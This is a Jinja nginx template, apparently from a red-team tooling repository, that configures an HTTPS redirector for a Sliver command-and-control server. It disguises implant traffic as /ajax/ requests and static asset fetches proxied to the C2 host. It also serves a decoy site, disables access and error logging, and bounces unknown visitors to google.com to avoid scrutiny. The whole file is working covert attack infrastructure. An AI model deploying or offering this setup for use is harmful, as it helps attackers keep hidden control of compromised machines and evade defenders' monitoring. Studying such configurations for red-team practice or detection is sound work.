n0mad1k
80 lines
2.5 KiB
Django/Jinja
80 lines
2.5 KiB
Django/Jinja
server {
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listen 80;
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listen [::]:80;
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server_name {{ domain }};
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# Redirect to HTTPS
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return 301 https://$host$request_uri;
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}
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server {
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listen 443 ssl;
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listen [::]:443 ssl;
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server_name {{ domain }};
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# SSL Configuration
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ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem;
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ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem;
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# Root directory
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root /var/www/html;
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index index.html;
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# Primary location for legitimate website traffic
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location / {
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try_files $uri $uri/ =404;
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}
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# Special URI patterns for C2 traffic
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# These will redirect to the actual C2 server
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# Sliver HTTP C2 channel
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location /ajax/ {
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proxy_pass http://{{ c2_host }}:8888;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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proxy_set_header Upgrade $http_upgrade;
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proxy_set_header Connection "upgrade";
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}
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# Static resources that actually redirect to C2
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location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
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proxy_pass http://{{ c2_host }}:8888;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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}
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# Additional security headers
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add_header X-Content-Type-Options "nosniff" always;
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add_header X-Frame-Options "SAMEORIGIN" always;
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add_header X-XSS-Protection "1; mode=block" always;
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add_header Referrer-Policy "no-referrer" always;
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add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
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# Disable logging for this server block
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access_log off;
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error_log /dev/null crit;
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}
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# Catch-all server block to respond to unknown hosts
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server {
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listen 80 default_server;
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listen [::]:80 default_server;
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listen 443 ssl default_server;
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listen [::]:443 ssl default_server;
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# Self-signed cert for catch-all
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ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
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ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
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# Redirect all unknown traffic to a legitimate-looking site
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return 301 https://www.google.com;
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# Disable logs
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access_log off;
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error_log /dev/null crit;
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} |